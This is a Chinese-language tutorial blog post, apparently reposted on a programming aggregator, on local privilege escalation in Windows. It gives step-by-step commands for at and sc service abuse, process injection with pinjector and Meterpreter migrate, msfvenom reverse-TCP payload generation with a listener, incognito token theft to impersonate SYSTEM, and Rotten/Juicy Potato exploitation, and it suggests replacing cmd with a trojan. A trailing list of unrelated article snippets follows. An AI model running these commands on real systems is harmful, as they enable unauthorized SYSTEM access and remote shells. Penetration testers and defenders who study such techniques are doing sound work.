Windows本地提权 · 上篇

news2024/11/20 1:42:46

目录

at 命令提权

sc 命令提权

ps 命令提权

利用的是windows的特性,权限继承,命令或者服务创建调用的时候会以system权限调用,那么这个命令或者服务的权限也是system。

进程迁移注入提权

pinjector进程注入

MSF进程注入

令牌窃取提权

关于令牌

令牌窃取原理

令牌窃取

烂土豆提权


Windows本地提权,这种提权适用于有一本地个用户的基础上,有一定的权限,无法从webshell上进行提权

at 命令提权

它是低权限用户本地提权至高权限

原理:at命令是一个计划指令,可以在规定的时间完成一些操作,这个命令调用system权限。

          at 命令用于在指定时间执行一次性的任务。攻击者可以滥用 "at" 命令的特权执行功能,以在特权级别下运行恶意命令或脚本,从而实现权限提升。这种滥用可能会依赖于系统配置或权限配置的弱点。

当调用计划任务是以system权限运行的,就实现提权。

适合版本:win 2003 2000 xp 7 这些较老的版本

测试环境: win  2003

cmd输入以下指令

at 16:40 /interactive cmd #在生成system权限的cmd

之后会弹出一个cmd命令框,但是这个是system权限的

验证权限

sc 命令提权

sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。

原理:sc 命令是 Windows 系统中的服务控制命令,用于创建、修改、启动、停止和删除系统服务。攻击者可以使用 "sc" 命令以高权限运行的方式创建一个恶意的服务,该服务可以在系统启动时以系统权限运行,从而实现权限提升。

适用版本:windows 7、8、03、08、12、16

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

windows2003 成功,但是其他版本没有成功

测试环境:win 2003

执行以下命令:

#创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#运行服务
sc start syscmd

ps 命令提权

原理:ps 命令用于列出当前运行的进程信息。攻击者可以使用 "ps" 命令来获取有关进程的信息,以寻找潜在的目标或确定哪些进程具有较高的特权级别。但是,"ps" 命令本身并不直接提供权限提升功能。

工具下载地址:PsTools - Sysinternals | Microsoft Learn

pstools是微软官方自带的工具,可以用来帮助管理系统

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

测试环境:win 2016

 在实际测试时,往往是一个命令行的窗口,我们可以直接把cmd换成我们的木马!

利用的是windows的特性,权限继承,命令或者服务创建调用的时候会以system权限调用,那么这个命令或者服务的权限也是system。

进程迁移注入提权

进程在运行时是有一个权限的

注入到其他以system运行的进程中,相当于在你这个进程的下面又开了一个新的线程,享有进程的权限

原理:

  1. 进程迁移(Process Migration):进程迁移是指将一个正在运行的进程从一个系统迁移到另一个系统的过程。攻击者可以通过某些手段获取到具有高权限的进程的句柄或进程ID。

  2. 进程注入(Process Injection):进程注入是指将恶意代码注入到目标进程的内存空间中,使其在目标进程的上下文中执行。攻击者可以使用进程迁移获得高权限进程的句柄或进程ID,并将恶意代码注入到该进程中。

  3. 提权(Privilege Escalation):一旦恶意代码成功注入到高权限进程中,攻击者可以利用该进程的特权执行操作,例如修改系统配置、访问受限资源等。

为什么无法卸载360?360是以system权限执行的,你的administrator权限无法干掉它。

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

电脑上的进程:

pinjector进程注入

测试环境 win 2008

获取当前进程信息

pinjector -l

可以查看系统的进程和权限

指定PID位420的进程下开启一个新的线程执行cmd开启在3344端口

pinjector -p 420 cmd 3344

 监听端口

nc 127.0.0.1 3344

MSF进程注入

环境:win2016 administrator

进行进程注入时,当权限过低时是迁移失败的

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进程注入
ps   //查看进程
migrate PID   //迁移对应PID,找是system的权限运行的进程

需要管理员才行,低权限用户几乎搞不了

内网中,管理员和system的权限差距很大的

这个是不会被杀的,因为它利用的是系统特性

令牌窃取提权

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。

所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。

当前用户的权限也不能过低,过低是无法窃取令牌的

关于令牌

在Windows操作系统中,令牌(Token)是一种用于身份验证和授权的对象。它代表一个用户或进程的安全上下文,包含与该用户或进程相关联的安全标识符(SID)、权限和其他安全属性。

Windows系统的令牌可以分为用户令牌和进程令牌。

  1. 用户令牌(User Token):用户令牌代表一个登录的用户。它包含用户的安全标识符(SID)、用户组的安全标识符(Group SID)、用户权限以及其他与用户相关的安全属性。用户令牌是由Windows系统在用户登录时创建的,并在用户注销时销毁。

  2. 进程令牌(Process Token):进程令牌代表一个正在运行的进程。它继承自创建该进程的用户令牌,并包含了用户令牌的信息。进程令牌还可以附加其他权限和安全属性,以控制进程的行为和资源访问权限。

令牌在Windows系统中扮演着重要的角色,用于进行身份验证和授权。它被用于确定用户或进程对系统资源的访问权限,并且在安全上下文切换时起到关键作用。

需要注意的是,令牌并非用户或进程的实体,而是一种系统对象,用于表示用户或进程的身份和权限信息。令牌的创建、管理和使用是由操作系统内核和相关安全机制来处理的,开发者可以通过使用相应的API来访问和操作令牌。

令牌窃取原理

攻击者利用系统中一个高权限的进程(通常是系统进程或具有高权限的服务进程)的令牌来获取比其本身权限更高的权限。

通常情况下,每个进程都有自己的进程令牌,其中包含了该进程的安全上下文和权限。令牌用于验证进程对系统资源的访问权限。然而,某些进程可能具有特权级别较高的令牌,例如系统进程(System)或具有高权限的服务进程。

攻击者可以通过多种方式进行令牌窃取提权攻击,例如:

  1. 滥用漏洞:攻击者可以利用系统或应用程序中的漏洞,获取到高权限进程的句柄或内存地址,然后使用这些信息来窃取其令牌。

  2. 进程注入:攻击者可以通过将恶意代码注入到高权限进程中,使其在执行时将其令牌交给攻击者控制的低权限进程。

  3. 服务篡改:攻击者可以篡改一个已经具有高权限的服务,使其在执行时将其令牌传递给攻击者控制的低权限进程。

一旦攻击者成功获取了高权限进程的令牌,他们就可以使用这个令牌来执行高权限操作,例如访问受限资源、修改系统配置、执行恶意代码等。

令牌窃取

环境:Win2008 administator

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

进行令牌窃取时,当权限过低时是窃取失败的,找不到system的令牌

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
use incognito
list_tokens -u           #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌

烂土豆提权

环境:win7+iis+asp iis低权限用户

这种利用需要上传烂土豆

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
execute -cH -f ./potato.exe //配合烂土豆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

或使用msf对应的模块

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#使用烂土豆
use exploit/windows/local/ms16_075_reflection-juicy
set session 1
set lhost 0.0.0.0
run

但是如果用户是本地非administrator用户,有这个漏洞也是利用失败的

需要是以下用户才可以成功提权

管理员(admininstrator)或者本地的服务账户

由服务控制管理器启动的服务

由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器

IIS与SqlServer用户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/591443.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python中日期转换:从字符串到日期对象

Python中日期转换:从字符串到日期对象 作为一个经验丰富的Python工程师,日期转换在我的日常编码工作中经常遇到。Python提供了一些内置函数和模块,可以将字符串转换为日期对象或将日期对象格式化为特定的字符串。本篇文章将带您深入了解Pyth…

chatgpt赋能python:Python中的并运算:介绍及应用

Python中的并运算:介绍及应用 Python是一种功能强大且易于使用的编程语言,它的灵活性使得我们可以应用各种算法和数据结构进行处理。其中,位运算是Python中非常棒的特性之一,而其中又有一个重要的运算符——并运算。 什么是并运…

chatgpt赋能python:Python中的或运算:学习这个重要概念

Python中的或运算:学习这个重要概念 或运算是Python编程语言中一个重要的概念。了解如何使用或运算可以帮助程序员编写更有效和有意义的代码。在此文章中,我们将介绍Python中或运算的基础知识以及如何使用它来编写各种类型的代码。 什么是或运算&#…

Android笔记--内存管理

内存(Memory)是计算机的重要部件,也称主存储器,它用于暂时存放CPU中的运算数据,以及与硬盘等外部存储器交换的数据。Android中,内存是如何分配的?当启动一个android程序时,会启动一个dalvik vm进程&#xf…

linux条件变量知识点总结

与条件变量相关API 条件变量是线程另一可用的同步机制。条件变量给多个线程提供了一个会合的场所。条件变量与互斥量一起使用时,允许线程以无竞争的方式等待特定的条件发生。 条件本身是由互斥量保护的。线程在改变条件状态前必须首先锁住互斥量,其他线程…

chatgpt赋能python:Python中的“5“+“5“:了解运算符重载和字符串拼接

Python中的 “5”“5”: 了解运算符重载和字符串拼接 Python中的运算符重载允许我们自定义类型的操作符行为。当我们使用加号运算符将两个对象相加时,Python会动态地确定该使用哪种类型的操作符行为。在使用字符串时,加号可以用于字符串的连接&#xff…

【编译、链接、装载二】/lib/ld64.so.1: bad ELF interpreter: 没有那个文件或目录

【编译和链接二】bash: ./test.out: /lib/ld64.so.1: bad ELF interpreter: 没有那个文件或目录 一、问题起因二、ldd查看三、解决方案一:使用gcc链接四、查找其他解决方案五、解决方案二:软链接 bash: ./test.out: /lib/ld64.so.1: bad ELF interpreter…

SpringBoot框架总结

一、SpringBoot框架的概念 1、传统框架的弊端 例如传统的SSM框架整合了MyBatis、Spring、SpringMVC框架,但其需要繁琐且重复的配置使程序员很是痛苦 2、SpringBoot框架 SpringBoot框架在传统框架的基础上对其进一步封装,只需要一些简单的配置&#x…

MySQL第二章、数据库基础

回顾: 目录 一、数据库的操作 1.1创建数据库 1.2显示当前数据库 1.3使用数据库 1.4删除数据库 二、常用数据类型 2.1数值类型(分为整型和浮点型) 2.2字符串类型 2.3 日期类型 三、表的操作 ​编辑 3.1创建表 3.2查看表结构 ​编…

网络攻防技术--论文阅读--《基于自动数据分割和注意力LSTM-CNN的准周期时间序列异常检测》

英文题目:Anomaly Detection in Quasi-Periodic Time Series based on Automatic Data Segmentation and Attentional LSTM-CNN 论文地址:Anomaly Detection in Quasi-Periodic Time Series Based on Automatic Data Segmentation and Attentional LST…

chatgpt赋能python:Python中清空代码的几种方法

Python中清空代码的几种方法 在Python编程中,清空代码是一个很常见的需求。清空代码指的是在某些情况下,需要将已经定义的变量或内存中存储的对象清除,以便后续使用。在本文中,我们将介绍Python中常用的几种清空代码的方法。 方…

chatgpt赋能python:Python中等待几秒代码:让你的程序更高效

Python中等待几秒代码:让你的程序更高效 在编写Python程序时,有时我们需要让程序等待几秒钟之后再继续执行。这个操作非常常见,尤其是在需要与API接口交互的时候。在本文中,我们将会介绍Python语言中等待几秒的相关知识&#xff…

如何使用Kali进行信息收集?

渗透测试即模拟黑客入侵的手段对目标网络进修安全测试,从而发现目标网络的漏洞,对目标网络进行安全加固与漏洞修复。 Kali 是一个基于 debian 的渗透测试平台,其中集成了很多常见的和不常见的渗透测试工具,如下图: 工…

linux(SystemV标准)进程间通信1

目录: 1.前言 2.共享内存 3.认识接口 ------------------------------------------------------------------------------------------------------------------------- 1.前言 我们之前学的什么匿名管道、命名管道通信都是基于文件的通信方式!&#xf…

chatgpt赋能python:Python中的%怎么用

Python中的%怎么用 Python中的%是一个非常重要的运算符,也称为格式化运算符。它用于将一个值插入到另一个字符串中。在本文中,我们将深入了解Python中的%运算符的使用。 %运算符的语法 先看下%运算符的语法: string % values其中&#xf…

求图的最短路径长度的弗洛伊德(Floyd)算法

弗洛伊德算法的适用情况:弗洛伊德算法既可以用来求解有向网的最短路径长度,也可以用来求无向网的最短路径长度,但是对于图中出现负权环的情况,弗洛伊德无法的得到正确的答案 弗洛伊德的算法思想: 以此图为例讲解弗洛…

C语言杂七杂八

fget函数的用法 fgets() 函数用来从指定的文件中读取一个字符串,并保存到字符数组中。 str 为字符数组,n 为要读取的字符数目,fp 为文件指针。 char *fgets(char *str, int n, FILE *stream) 返回值:读取成功时返回字符数组首地…

python图像处理实战(一)—图像基础

🚀写在前面🚀 🖊个人主页:https://blog.csdn.net/m0_52051577?typeblog 🎁欢迎各位大佬支持点赞收藏,三连必回!! 🔈本人新开系列专栏—python图像处理 ❀愿每一个骤雨初…

Android12之service调试(一百五十二)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生…

C4D R26 渲染学习笔记 建模篇(3):生成器

文章目录 前文回顾介绍篇建模篇 生成器介绍生成器变形器搭配举例 生成器详细介绍细分曲面布料曲面 未完待续 前文回顾 介绍篇 C4D R26 渲染学习笔记(1):C4D版本选择和初始UI框介绍 C4D R26 渲染学习笔记(2)&#xff…